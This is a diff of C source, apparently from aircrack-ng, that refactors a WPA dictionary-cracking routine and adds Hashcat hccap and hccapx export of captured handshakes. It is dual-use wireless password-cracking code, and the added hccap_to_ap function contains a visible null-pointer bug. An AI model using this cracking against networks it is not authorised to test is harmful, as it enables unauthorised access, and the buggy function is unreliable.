 			}
 
+		pthread_mutex_lock(&mx_nb);
+
+		nb_tried += nbkeys;
+		nb_kprev += nbkeys;
+
 		pthread_mutex_unlock(&mx_nb);
 
-		if (!opt.is_quiet)
+		if (threadid <= 1 && !opt.is_quiet)
 		{
-			len = strlen(key[0]);
-			if (len > 64 ) len = 64;
+			len = keys[0].length;
+			if (len > 64) len = 64;
 			if (len < 8) len = 8;
 
-			show_wpa_stats(key[0], len, pmk[0], ptk[0], mic[0], 0);
+			show_wpa_stats((char *) keys[0].v,
+						   len,
+						   dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
+						   dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
+						   mic[0],
+						   0);
 		}
 	}
 
-#ifndef OLD_SSE_CORE
-	crack_wpa_cleanup:
-	free_ssecore(threadid);
+crack_wpa_cleanup:
+	dso_ac_crypto_engine_thread_destroy(&engine, threadid);
+
 	return ret;
-#endif
 }
 
 /**
@@ -4275,33 +4261,33 @@
  * nb: index of the dictionary
  * return 0 on success and FAILURE if it failed
  */
-int next_dict(int nb)
+static int next_dict(int nb)
 {
 	off_t tmpword = 0;
 
-	pthread_mutex_lock( &mx_dic );
-	if(opt.dict != NULL)
+	pthread_mutex_lock(&mx_dic);
+	if (opt.dict != NULL)
 	{
-		if(!opt.stdin_dict) fclose(opt.dict);
+		if (!opt.stdin_dict) fclose(opt.dict);
 		opt.dict = NULL;
 	}
 	opt.nbdict = nb;
-	if(opt.dicts[opt.nbdict] == NULL)
+	if (opt.dicts[opt.nbdict] == NULL)
 	{
-		pthread_mutex_unlock( &mx_dic );
-		return( FAILURE );
+		pthread_mutex_unlock(&mx_dic);
+		return (FAILURE);
 	}
 
-	while(opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL)
+	while (opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL)
 	{
-		if( strcmp( opt.dicts[opt.nbdict], "-" ) == 0 )
+		if (strcmp(opt.dicts[opt.nbdict], "-") == 0)
 		{
 			opt.stdin_dict = 1;
 			opt.dictfinish = 1; // no ETA stats on stdin
 
-			if( ( opt.dict = fdopen( fileno(stdin) , "r" ) ) == NULL )
+			if ((opt.dict = fdopen(fileno(stdin), "r")) == NULL)
 			{
-				perror( "fdopen(stdin) failed" );
+				perror("fdopen(stdin) failed");
 				opt.nbdict++;
 				continue;
 			}
@@ -4311,66 +4297,97 @@
 		else
 		{
 			opt.stdin_dict = 0;
-			if( ( opt.dict = fopen( opt.dicts[opt.nbdict], "r" ) ) == NULL )
+			if ((opt.dict = fopen(opt.dicts[opt.nbdict], "r")) == NULL)
 			{
-				printf("ERROR: Opening dictionary %s failed (%s)\n", opt.dicts[opt.nbdict], strerror(errno));
+				printf("ERROR: Opening dictionary %s failed (%s)\n",
+					   opt.dicts[opt.nbdict],
+					   strerror(errno));
 				opt.nbdict++;
 				continue;
 			}
 
 			fseek(opt.dict, 0L, SEEK_END);
 
-			if ( ftello( opt.dict ) <= 0L )
+			if (ftello(opt.dict) <= 0L)
 			{
-				printf("ERROR: Processing dictionary file %s (%s)\n", opt.dicts[opt.nbdict], strerror(errno));
-				fclose( opt.dict );
+				printf("ERROR: Processing dictionary file %s (%s)\n",
+					   opt.dicts[opt.nbdict],
+					   strerror(errno));
+				fclose(opt.dict);
 				opt.dict = NULL;
 				opt.nbdict++;
 				continue;
 			}
 
-			if (!opt.dictfinish) {
+			if (!opt.dictfinish)
+			{
 				chrono(&t_dictup, 1);
-				opt.dictidx[opt.nbdict].dictsize	= ftello(opt.dict);
+				opt.dictidx[opt.nbdict].dictsize = ftello(opt.dict);
 
-				if (!opt.dictidx[opt.nbdict].dictpos || (opt.dictidx[opt.nbdict].dictpos > opt.dictidx[opt.nbdict].dictsize)) {
-					tmpword					= (long double)linecount(opt.dicts[opt.nbdict], (opt.dictidx[opt.nbdict].dictpos ? opt.dictidx[opt.nbdict].dictpos : 0), 32);
-					opt.dictidx[opt.nbdict].wordcount	+= tmpword;
-					opt.wordcount				+= tmpword;
-					opt.dictidx[opt.nbdict].dictpos		= (READBUF_BLKSIZE*32);
+				if (!opt.dictidx[opt.nbdict].dictpos
+					|| (opt.dictidx[opt.nbdict].dictpos
+						> opt.dictidx[opt.nbdict].dictsize))
+				{
+					tmpword = (long double) linecount(
+						opt.dicts[opt.nbdict],
+						(opt.dictidx[opt.nbdict].dictpos
+							 ? opt.dictidx[opt.nbdict].dictpos
+							 : 0),
+						32);
+					opt.dictidx[opt.nbdict].wordcount += tmpword;
+					opt.wordcount += tmpword;
+					opt.dictidx[opt.nbdict].dictpos = (READBUF_BLKSIZE * 32);
 				}
 			}
 
-			rewind( opt.dict );
+			rewind(opt.dict);
 		}
 		break;
 	}
 
-	pthread_mutex_unlock( &mx_dic );
+	pthread_mutex_unlock(&mx_dic);
 
-	if(opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL)
-	    return( FAILURE );
+	if (opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL)
+		return (FAILURE);
 
-	return( 0 );
+	// Update wordlist ID and position in session
+	if (cracking_session)
+	{
+		pthread_mutex_lock(&(cracking_session->mutex));
+
+		cracking_session->pos = 0;
+		cracking_session->wordlist_id = opt.nbdict;
+
+		pthread_mutex_unlock(&(cracking_session->mutex));
+	}
+
+	return (0);
 }
 
 #ifdef HAVE_SQLITE
-int sql_wpacallback(void* arg, int ccount, char** values, char** columnnames ) {
-	struct AP_info *ap = (struct AP_info*)arg;
+static int
+sql_wpacallback(void * arg, int ccount, char ** values, char ** columnnames)
+{
+	struct AP_info * ap = (struct AP_info *) arg;
 
 	unsigned char ptk[80];
 	unsigned char mic[20];
 	FILE * keyFile;
 
-	if(ccount) {} //XXX
-	if(columnnames) {} //XXX
+	if (ccount)
+	{
+	} // XXX
+	if (columnnames)
+	{
+	} // XXX
 
-	calc_mic(ap, (unsigned char*) values[0], ptk, mic);
+	calc_mic(ap, (unsigned char *) values[0], ptk, mic);
 
-	if( memcmp( mic, ap->wpa.keymic, 16 ) == 0 )
+	if (memcmp(mic, ap->wpa.keymic, 16) == 0)
 	{
 		// Write the key to a file
-		if (opt.logKeyToFile != NULL) {
+		if (opt.logKeyToFile != NULL)
+		{
 			keyFile = fopen(opt.logKeyToFile, "w");
 			if (keyFile != NULL)
 			{
@@ -4379,22 +4396,35 @@
 			}
 		}
 
-		if( opt.is_quiet )
+		if (opt.is_quiet)
 		{
-			printf( "KEY FOUND! [ %s ]\n", values[1] );
+			printf("KEY FOUND! [ %s ]\n", values[1]);
 			return 1;
 		}
 
-		show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 1 );
+		show_wpa_stats(values[1],
+					   strlen(values[1]),
+					   (unsigned char *) (values[0]),
+					   ptk,
+					   mic,
+					   1);
 
-		if( opt.l33t )
-			printf( "\33[31;1m" );
+		if (opt.l33t)
+		{
+			textstyle(TEXT_BRIGHT);
+			textcolor_fg(TEXT_RED);
+		}
 
-		printf( "\33[8;%dH\33[2KKEY FOUND! [ %s ]\33[11B\n",
-				( 80 - 15 - (int) strlen(values[1])) / 2, values[1] );
+		moveto((80 - 15 - (int) strlen(values[1])) / 2, 8);
+		erase_line(2);
+		printf("KEY FOUND! [ %s ]\n", values[1]);
+		move(CURSOR_DOWN, 11);
 
-		if( opt.l33t )
-			printf( "\33[32;22m" );
+		if (opt.l33t)
+		{
+			textcolor_normal();
+			textcolor_fg(TEXT_GREEN);
+		}
 
 		// abort the query
 		return 1;
@@ -4405,105 +4435,119 @@
 	nb_kprev++;
 	pthread_mutex_unlock(&mx_nb);
 
-	if( ! opt.is_quiet )
-		show_wpa_stats( values[1], strlen(values[1]), (unsigned char*)(values[0]), ptk, mic, 0 );
+	if (!opt.is_quiet)
+		show_wpa_stats(values[1],
+					   strlen(values[1]),
+					   (unsigned char *) (values[0]),
+					   ptk,
+					   mic,
+					   0);
 
 	return 0;
 }
 #endif
 
-int do_make_wkp(struct AP_info *ap_cur)
+static int display_wpa_hash_information(struct AP_info * ap_cur)
 {
-	size_t elt_written;
 	unsigned i = 0;
 
-	while( ap_cur != NULL )
-	{
-		if( ap_cur->target && ap_cur->wpa.state == 7 )
-			break;
-		ap_cur = ap_cur->next;
-	}
-
-	if( ap_cur == NULL )
+	if (ap_cur == NULL)
 	{
-		printf( "No valid WPA handshakes found.\n" );
-		return( 0 );
+		printf("No valid WPA handshakes found.\n");
+		return (0);
 	}
 
-	if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set )
+	if (memcmp(ap_cur->essid, ZERO, 32) == 0 && !opt.essid_set)
 	{
-		printf( "An ESSID is required. Try option -e.\n" );
-		return( 0 );
+		printf("An ESSID is required. Try option -e.\n");
+		return (0);
 	}
 
-	if( opt.essid_set && ap_cur->essid[0] == '\0' )
+	if (opt.essid_set && ap_cur->essid[0] == '\0')
 	{
-		memset(  ap_cur->essid, 0, sizeof( ap_cur->essid ) );
-		strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 );
+		memset(ap_cur->essid, 0, sizeof(ap_cur->essid));
+		strncpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid) - 1);
 	}
 
-	printf("\n\nBuilding WKP (3.02) file...\n\n");
-
-	printf("[*] ESSID (length: %d): %s\n", (int)strlen(ap_cur->essid), ap_cur->essid);
+	printf("[*] ESSID (length: %d): %s\n",
+		   (int) strlen(ap_cur->essid),
+		   ap_cur->essid);
 
 	printf("[*] Key version: %d\n", ap_cur->wpa.keyver);
 
 	printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
-		ap_cur->bssid[0], ap_cur->bssid[1],
-		ap_cur->bssid[2], ap_cur->bssid[3],
-		ap_cur->bssid[4], ap_cur->bssid[5]
-		);
+		   ap_cur->bssid[0],
+		   ap_cur->bssid[1],
+		   ap_cur->bssid[2],
+		   ap_cur->bssid[3],
+		   ap_cur->bssid[4],
+		   ap_cur->bssid[5]);
 	printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X",
-		ap_cur->wpa.stmac[0], ap_cur->wpa.stmac[1],
-		ap_cur->wpa.stmac[2], ap_cur->wpa.stmac[3],
-		ap_cur->wpa.stmac[4], ap_cur->wpa.stmac[5]
-		);
+		   ap_cur->wpa.stmac[0],
+		   ap_cur->wpa.stmac[1],
+		   ap_cur->wpa.stmac[2],
+		   ap_cur->wpa.stmac[3],
+		   ap_cur->wpa.stmac[4],
+		   ap_cur->wpa.stmac[5]);
 
 	printf("\n[*] anonce:");
-	for(i = 0; i < 32; i++)
+	for (i = 0; i < 32; i++)
 	{
-		if(i % 16 == 0) printf("\n    ");
+		if (i % 16 == 0) printf("\n    ");
 		printf("%02X ", ap_cur->wpa.anonce[i]);
 	}
 
 	printf("\n[*] snonce:");
-	for(i = 0; i < 32; i++)
+	for (i = 0; i < 32; i++)
 	{
-		if(i % 16 == 0) printf("\n    ");
+		if (i % 16 == 0) printf("\n    ");
 		printf("%02X ", ap_cur->wpa.snonce[i]);
 	}
 
 	printf("\n[*] Key MIC:\n   ");
-	for(i = 0; i < 16; i++)
+	for (i = 0; i < 16; i++)
 	{
 		printf(" %02X", ap_cur->wpa.keymic[i]);
 	}
 
 	printf("\n[*] eapol:");
-	for( i = 0; i < ap_cur->wpa.eapol_size; i++)
+	for (i = 0; i < ap_cur->wpa.eapol_size; i++)
 	{
-		if( i % 16 == 0 ) printf("\n    ");
-		printf("%02X ",ap_cur->wpa.eapol[i]);
-
+		if (i % 16 == 0) printf("\n    ");
+		printf("%02X ", ap_cur->wpa.eapol[i]);
 	}
 
+	return (1);
+}
+
+static int do_make_wkp(struct AP_info * ap_cur)
+{
+	size_t elt_written;
+
+	printf("\n\nBuilding WKP file...\n\n");
+	if (display_wpa_hash_information(ap_cur) == 0)
+	{
+		return (0);
+	}
 	printf("\n");
 
 	// write file
 	FILE * fp_wkp;
 	char frametmp[WKP_FRAME_LENGTH];
-	char *ptmp;
+	char * ptmp;
 
-	memcpy(frametmp, wkp_frame,WKP_FRAME_LENGTH * sizeof(char));
+	memcpy(frametmp, wkp_frame, WKP_FRAME_LENGTH * sizeof(char));
 
 	// Make sure the filename contains the extension
-	if (( strstr(opt.wkp, ".wkp") == NULL || strlen(strstr(opt.wkp, ".wkp")) != 4 )
-		 &&	( strstr(opt.wkp, ".WKP") == NULL || strlen(strstr(opt.wkp, ".WKP")) != 4) )
+	if ((strstr(opt.wkp, ".wkp") == NULL
+		 || strlen(strstr(opt.wkp, ".wkp")) != 4)
+		&& (strstr(opt.wkp, ".WKP") == NULL
+			|| strlen(strstr(opt.wkp, ".WKP")) != 4))
 	{
 		strcat(opt.wkp, ".wkp");
 	}
 
-	fp_wkp = fopen( opt.wkp,"w" );
+	fp_wkp = fopen(opt.wkp, "w");
 	if (fp_wkp == NULL)
 	{
 		printf("\nFailed to create EWSA project file\n");
@@ -4513,13 +4557,12 @@
 	// ESSID
 	memcpy(&frametmp[0x4c0], ap_cur->essid, sizeof(ap_cur->essid));
 
-
 	// BSSID
-	ptmp = (char *)ap_cur->bssid;
+	ptmp = (char *) ap_cur->bssid;
 	memcpy(&frametmp[0x514], ptmp, 6);
 
 	// Station Mac
-	ptmp = (char *)ap_cur->wpa.stmac;
+	ptmp = (char *) ap_cur->wpa.stmac;
 	memcpy(&frametmp[0x51a], ptmp, 6);
 
 	// ESSID
@@ -4535,204 +4578,252 @@
 	frametmp[0x548] = ap_cur->wpa.eapol_size;
 
 	// anonce
-	ptmp = (char *)ap_cur->wpa.anonce;
+	ptmp = (char *) ap_cur->wpa.anonce;
 	memcpy(&frametmp[0x54c], ptmp, 32);
 
 	// snonce
-	ptmp = (char *)ap_cur->wpa.snonce;
+	ptmp = (char *) ap_cur->wpa.snonce;
 	memcpy(&frametmp[0x56c], ptmp, 32);
 
 	// EAPOL
-	ptmp = (char *)ap_cur->wpa.eapol;
+	ptmp = (char *) ap_cur->wpa.eapol;
 	memcpy(&frametmp[0x58c], ptmp, ap_cur->wpa.eapol_size);
 
 	// Key MIC
-	ptmp = (char *)ap_cur->wpa.keymic;
+	ptmp = (char *) ap_cur->wpa.keymic;
 	memcpy(&frametmp[0x68c], ptmp, 16);
 
 	elt_written = fwrite(frametmp, 1, WKP_FRAME_LENGTH, fp_wkp);
 	fclose(fp_wkp);
 
-
-	if ((int)elt_written == WKP_FRAME_LENGTH) {
+	if ((int) elt_written == WKP_FRAME_LENGTH)
+	{
 		printf("\nSuccessfully written to %s\n", opt.wkp);
-	} else {
+	}
+	else
+	{
 		printf("\nFailed to write to %s\n !", opt.wkp);
 	}
 
-	return( 1 );
+	return (1);
+}
+
+// return by value because it is the simplest interface and we call this
+// infrequently
+static hccap_t ap_to_hccap(struct AP_info * ap)
+{
+	hccap_t hccap;
+
+	memset(&hccap, 0, sizeof(hccap));
+	ap->wpa.state = 7;
+	ap->crypt = 3;
+
+	memcpy(&hccap.essid, &ap->essid, sizeof(ap->essid));
+	memcpy(&hccap.mac1, &ap->bssid, sizeof(ap->bssid));
+	memcpy(&hccap.mac2, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
+	memcpy(&hccap.nonce1, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
+	memcpy(&hccap.nonce2, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
+	memcpy(&hccap.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
+	memcpy(&hccap.eapol_size, &ap->wpa.eapol_size, sizeof(ap->wpa.eapol_size));
+	memcpy(&hccap.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
+	memcpy(&hccap.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
+	return hccap;
+}
+
+// Caller must free
+struct AP_info * hccap_to_ap(hccap_t * hccap)
+{
+	struct AP_info * ap = malloc(sizeof(struct AP_info));
+	memset(&ap, 0, sizeof(ap));
+
+	memcpy(&ap->essid, &hccap->essid, sizeof(hccap->essid));
+	memcpy(&ap->bssid, &hccap->mac1, sizeof(hccap->mac1));
+	memcpy(&ap->wpa.stmac, &hccap->mac2, sizeof(hccap->mac2));
+	memcpy(&ap->wpa.snonce, &hccap->nonce1, sizeof(hccap->nonce1));
+	memcpy(&ap->wpa.anonce, &hccap->nonce2, sizeof(hccap->nonce2));
+	memcpy(&ap->wpa.eapol, &hccap->eapol, sizeof(hccap->eapol));
+	memcpy(&ap->wpa.eapol_size, &hccap->eapol_size, sizeof(hccap->eapol_size));
+	memcpy(&ap->wpa.keyver, &hccap->keyver, sizeof(hccap->keyver));
+	memcpy(&ap->wpa.keymic, &hccap->keymic, sizeof(hccap->keymic));
+
+	return ap;
 }
 
-int do_make_hccap(struct AP_info *ap_cur)
+static int do_make_hccap(struct AP_info * ap_cur)
 {
 	size_t elt_written;
-	unsigned i = 0;
 
-	while( ap_cur != NULL )
+	printf("\n\nBuilding Hashcat file...\n\n");
+	if (display_wpa_hash_information(ap_cur) == 0)
 	{
-		if( ap_cur->target && ap_cur->wpa.state == 7 )
-			break;
-		ap_cur = ap_cur->next;
+		return (0);
 	}
+	printf("\n");
 
-	if( ap_cur == NULL )
-	{
-		printf( "No valid WPA handshakes found.\n" );
-		return( 0 );
-	}
+	// write file
+	FILE * fp_hccap;
 
-	if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set )
-	{
-		printf( "An ESSID is required. Try option -e.\n" );
-		return( 0 );
-	}
+	strcat(opt.hccap, ".hccap");
 
-	if( opt.essid_set && ap_cur->essid[0] == '\0' )
+	fp_hccap = fopen(opt.hccap, "wb");
+	if (fp_hccap == NULL)
 	{
-		memset(  ap_cur->essid, 0, sizeof( ap_cur->essid ) );
-		strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 );
+		printf("\nFailed to create Hashcat capture file\n");
+		return 0;
 	}
 
-	printf("\n\nBuilding Hashcat (1.00) file...\n\n");
+	hccap_t hccap = ap_to_hccap(ap_cur);
 
-	printf("[*] ESSID (length: %d): %s\n", (int)strlen(ap_cur->essid), ap_cur->essid);
-
-	printf("[*] Key version: %d\n", ap_cur->wpa.keyver);
-
-	printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
-		ap_cur->bssid[0], ap_cur->bssid[1],
-		ap_cur->bssid[2], ap_cur->bssid[3],
-		ap_cur->bssid[4], ap_cur->bssid[5]
-		);
-	printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X",
-		ap_cur->wpa.stmac[0], ap_cur->wpa.stmac[1],
-		ap_cur->wpa.stmac[2], ap_cur->wpa.stmac[3],
-		ap_cur->wpa.stmac[4], ap_cur->wpa.stmac[5]
-		);
+	elt_written = fwrite(&hccap, sizeof(hccap_t), 1, fp_hccap);
+	fclose(fp_hccap);
 
-	printf("\n[*] anonce:");
-	for(i = 0; i < 32; i++)
+	if ((int) elt_written == 1)
 	{
-		if(i % 16 == 0) printf("\n    ");
-		printf("%02X ", ap_cur->wpa.anonce[i]);
+		printf("\nSuccessfully written to %s\n", opt.hccap);
 	}
-
-	printf("\n[*] snonce:");
-	for(i = 0; i < 32; i++)
+	else
 	{
-		if(i % 16 == 0) printf("\n    ");
-		printf("%02X ", ap_cur->wpa.snonce[i]);
+		printf("\nFailed to write to %s\n !", opt.hccap);
 	}
 
-	printf("\n[*] Key MIC:\n   ");
-	for(i = 0; i < 16; i++)
+	return (1);
+}
+
+// Caller must free
+struct AP_info * hccapx_to_ap(struct hccapx * hx)
+{
+	struct AP_info * ap = malloc(sizeof(struct AP_info));
+	if (ap == NULL)
 	{
-		printf(" %02X", ap_cur->wpa.keymic[i]);
+		printf("Malloc Failed: everything will break\n");
+		return NULL;
 	}
+	memset(ap, 0, sizeof(struct AP_info));
+	ap->wpa.state = 7;
+	ap->crypt = 3;
+
+	memcpy(
+		&ap->essid, &hx->essid, MIN(sizeof(hx->essid), sizeof(ap->essid)) - 1);
+	memcpy(&ap->bssid, &hx->mac_ap, sizeof(hx->mac_ap));
+	memcpy(&ap->wpa.stmac, &hx->mac_sta, sizeof(hx->mac_sta));
+	memcpy(&ap->wpa.snonce, &hx->nonce_sta, sizeof(hx->nonce_sta));
+	memcpy(&ap->wpa.anonce, &hx->nonce_ap, sizeof(hx->nonce_ap));
+	memcpy(&ap->wpa.eapol, &hx->eapol, sizeof(hx->eapol));
+	memcpy(&ap->wpa.eapol_size, &hx->eapol_len, sizeof(hx->eapol_len));
+	memcpy(&ap->wpa.keyver, &hx->keyver, sizeof(hx->keyver));
+	memcpy(&ap->wpa.keymic, &hx->keymic, sizeof(hx->keymic));
 
-	printf("\n[*] eapol:");
-	for( i = 0; i < ap_cur->wpa.eapol_size; i++)
-	{
-		if( i % 16 == 0 ) printf("\n    ");
-		printf("%02X ",ap_cur->wpa.eapol[i]);
+	return ap;
+}
 
-	}
+static hccapx_t ap_to_hccapx(struct AP_info * ap)
+{
+	struct hccapx hx;
+	uint32_t temp;
+	uint8_t ssid_len;
+
+	memset(&hx, 0, sizeof(hx));
+
+	temp = HCCAPX_SIGNATURE;
+	memcpy(&hx.signature, &temp, sizeof(temp));
+	temp = HCCAPX_CURRENT_VERSION;
+	memcpy(&hx.version, &temp, sizeof(temp));
+	hx.message_pair = 0; // Temporary (see docs)
+
+	ssid_len = (uint8_t) strlen(ap->essid);
+	memcpy(&hx.essid_len, &ssid_len, sizeof(ssid_len));
+
+	memcpy(&hx.essid, &ap->essid, sizeof(ap->essid) - 1);
+	memcpy(&hx.mac_ap, &ap->bssid, sizeof(ap->bssid));
+	memcpy(&hx.mac_sta, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
+	memcpy(&hx.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
+	memcpy(&hx.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
+	memcpy(&hx.nonce_sta, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
+	memcpy(&hx.nonce_ap, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
+	memcpy(&hx.eapol_len, &ap->wpa.eapol_size, sizeof(ap->wpa.eapol_size));
+	memcpy(&hx.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
+	return hx;
+}
+
+static int do_make_hccapx(struct AP_info * ap_cur)
+{
+	size_t elt_written;
 
+	printf("\n\nBuilding Hashcat (3.60+) file...\n\n");
+	if (display_wpa_hash_information(ap_cur) == 0)
+	{
+		return (0);
+	}
 	printf("\n");
 
 	// write file
-	FILE * fp_hccap;
+	FILE * fp_hccapx;
 
-	strcat(opt.hccap, ".hccap");
+	strcat(opt.hccapx, ".hccapx");
 
-	fp_hccap = fopen( opt.hccap,"wb" );
-	if (fp_hccap == NULL)
+	fp_hccapx = fopen(opt.hccapx, "wb");
+	if (fp_hccapx == NULL)
 	{
-		printf("\nFailed to create Hashcat capture file\n");
+		printf("\nFailed to create Hashcat X capture file\n");
 		return 0;
 	}
 
-	typedef struct
-	{
-		char          essid[36];
-
-		unsigned char mac1[6];
-		unsigned char mac2[6];
-		unsigned char nonce1[32];
-		unsigned char nonce2[32];
-
-		unsigned char eapol[256];
-		int           eapol_size;
-
-		int           keyver;
-		unsigned char keymic[16];
-
-	} hccap_t;
-
-	hccap_t hccap;
-
-	memset (&hccap, 0, sizeof (hccap));
+	struct hccapx hx = ap_to_hccapx(ap_cur);
 
-	memcpy (&hccap.essid,      &ap_cur->essid,          sizeof (ap_cur->essid));
-	memcpy (&hccap.mac1,       &ap_cur->bssid,          sizeof (ap_cur->bssid));
-	memcpy (&hccap.mac2,       &ap_cur->wpa.stmac,      sizeof (ap_cur->wpa.stmac));
-	memcpy (&hccap.nonce1,     &ap_cur->wpa.snonce,     sizeof (ap_cur->wpa.snonce));
-	memcpy (&hccap.nonce2,     &ap_cur->wpa.anonce,     sizeof (ap_cur->wpa.anonce));
-	memcpy (&hccap.eapol,      &ap_cur->wpa.eapol,      sizeof (ap_cur->wpa.eapol));
-	memcpy (&hccap.eapol_size, &ap_cur->wpa.eapol_size, sizeof (ap_cur->wpa.eapol_size));
-	memcpy (&hccap.keyver,     &ap_cur->wpa.keyver,     sizeof (ap_cur->wpa.keyver));
-	memcpy (&hccap.keymic,     &ap_cur->wpa.keymic,     sizeof (ap_cur->wpa.keymic));
+	elt_written = fwrite(&hx, sizeof(struct hccapx), 1, fp_hccapx);
+	fclose(fp_hccapx);
 
-	elt_written = fwrite(&hccap, sizeof (hccap_t), 1, fp_hccap);
-	fclose(fp_hccap);
-
-	if ((int)elt_written == 1) {
-		printf("\nSuccessfully written to %s\n", opt.hccap);
-	} else {
-		printf("\nFailed to write to %s\n !", opt.hccap);
+	if ((int) elt_written == 1)
+	{
+		printf("\nSuccessfully written to %s\n", opt.hccapx);
+	}
+	else
+	{
+		printf("\nFailed to write to %s\n !", opt.hccapx);
 	}
 
-	return( 1 );
+	return (1);
 }
 
-int do_wpa_crack()
+static int do_wpa_crack(void)
 {
 	int i, j, cid, num_cpus, res;
 	char key1[128];
 
-    i = 0;
+	i = 0;
 	res = 0;
-	opt.amode = 2;
 	num_cpus = opt.nbcpu;
 
-
-	if( ! opt.is_quiet && !_speed_test)
+	if (!opt.is_quiet && !_speed_test)
 	{
-		if( opt.l33t )
-			printf( "\33[37;40m" );
+		if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
 
-		printf( "\33[2J" );
+		erase_line(2);
 
-		if( opt.l33t )
-			printf( "\33[34;1m" );
+		if (opt.l33t)
+		{
+			textstyle(TEXT_BRIGHT);
+			textcolor_fg(TEXT_BLUE);
+		}
 
-		printf("\33[2;34H%s",progname);
+		moveto(34, 2);
+		printf("%s", progname);
 	}
 
 	cid = 0;
-	while( num_cpus > 0 )
+	while (num_cpus > 0)
 	{
 		/* read a couple of keys (skip those < 8 chars) */
 
-		pthread_mutex_lock( &mx_dic );
+		pthread_mutex_lock(&mx_dic);
 
-		if(opt.dict == NULL)
+		if (opt.dict == NULL)
 		{
-			pthread_mutex_unlock( &mx_dic );
-			return( FAILURE );
+			pthread_mutex_unlock(&mx_dic);
+			return (FAILURE);
 		}
 		else
-			pthread_mutex_unlock( &mx_dic );
+			pthread_mutex_unlock(&mx_dic);
 		do
 		{
 			memset(key1, 0, sizeof(key1));
@@ -4740,128 +4831,137 @@
 				strcpy(key1, "sorbosorbo");
 			else
 			{
-				pthread_mutex_lock( &mx_dic );
+				pthread_mutex_lock(&mx_dic);
 				if (fgets(key1, sizeof(key1), opt.dict) == NULL)
 				{
-					pthread_mutex_unlock( &mx_dic );
+					pthread_mutex_unlock(&mx_dic);
 
-					if( opt.l33t )
-						printf( "\33[32;22m" );
-					/* printf( "\nPassphrase not in dictionary %s \n", opt.dicts[opt.nbdict] );*/
-					if(next_dict(opt.nbdict+1) != 0)
+					if (opt.l33t)
+					{
+						textcolor_normal();
+						textcolor_fg(TEXT_GREEN);
+					}
+					/* printf( "\nPassphrase not in dictionary %s \n",
+					 * opt.dicts[opt.nbdict] );*/
+					if (next_dict(opt.nbdict + 1) != 0)
 					{
-						/* no more words, but we still have to wait for the cracking threads */
+						/* no more words, but we still have to wait for the
+						 * cracking threads */
 						num_cpus = cid;
-						//goto collect_and_test;
-						return( FAILURE );
+						// goto collect_and_test;
+						return (FAILURE);
 					}
 					else
 						continue;
 				}
 				else
-					pthread_mutex_unlock( &mx_dic );
+					pthread_mutex_unlock(&mx_dic);
 			}
-			i = strlen( key1 );
-			if( i < 8 ) continue;
-			if( i > 64 ) i = 64;
+			i = strlen(key1);
+			if (i < 8) continue;
+			if (i > 64) i = 64;
 
-			while(i>0 && (key1[i-1]=='\r' || key1[i-1]=='\n')) i--;
- 			if (i<=0) continue;
+			while (i > 0 && (key1[i - 1] == '\r' || key1[i - 1] == '\n')) i--;
+			if (i <= 0) continue;
 			key1[i] = '\0';
 
-			for(j=0; j<i; j++)
-				if(!isascii(key1[j]) || key1[j] < 32) i=0;
+			for (j = 0; j < i; j++)
+				if (!isascii(key1[j]) || key1[j] < 32) i = 0;
 
-		}
-		while( i < 8 );
+		} while (i < 8);
 
 		/* send the keys */
 
-		for(i=0; i<opt.nbcpu; ++i)
+		for (i = 0; i < opt.nbcpu; ++i)
 		{
-			res = wpa_send_passphrase(key1, &(wpa_data[cid]), 0/*don't block*/);
-			if (res != 0)
-				break;
-			cid = (cid+1) % opt.nbcpu;
+			res = wpa_send_passphrase(
+				key1, &(wpa_data[cid]), 0 /*don't block*/);
+			if (res != 0) break;
+			cid = (cid + 1) % opt.nbcpu;
 		}
 
-		if (res==0) // if all queues are full, we block until there's room
+		if (res == 0) // if all queues are full, we block until there's room
 		{
-			wpa_send_passphrase(key1, &(wpa_data[cid]), 1/*block*/);
-			cid = (cid+1) % opt.nbcpu;
+			wpa_send_passphrase(key1, &(wpa_data[cid]), 1 /*block*/);
+			cid = (cid + 1) % opt.nbcpu;
 		}
 	}
 
-	//printf( "\nPassphrase not in dictionary \n" );
-	return( FAILURE );
+	// printf( "\nPassphrase not in dictionary \n" );
+	return (FAILURE);
 }
 
-int next_key( char **key, int keysize )
+static int next_key(char ** key, int keysize)
 {
 	char *tmp, *tmpref;
 	int i, rtn;
 	unsigned int dec;
-	char *hex;
+	char * hex;
 
-	tmpref = tmp = (char*) malloc(1024);
+	tmpref = tmp = (char *) malloc(1024);
 
-	while(1)
+	while (1)
 	{
 		rtn = 0;
-		pthread_mutex_lock( &mx_dic );
-		if(opt.dict == NULL)
+		pthread_mutex_lock(&mx_dic);
+		if (opt.dict == NULL)
 		{
-			pthread_mutex_unlock( &mx_dic );
-			//printf( "\nPassphrase not in dictionary \n" );
+			pthread_mutex_unlock(&mx_dic);
+			// printf( "\nPassphrase not in dictionary \n" );
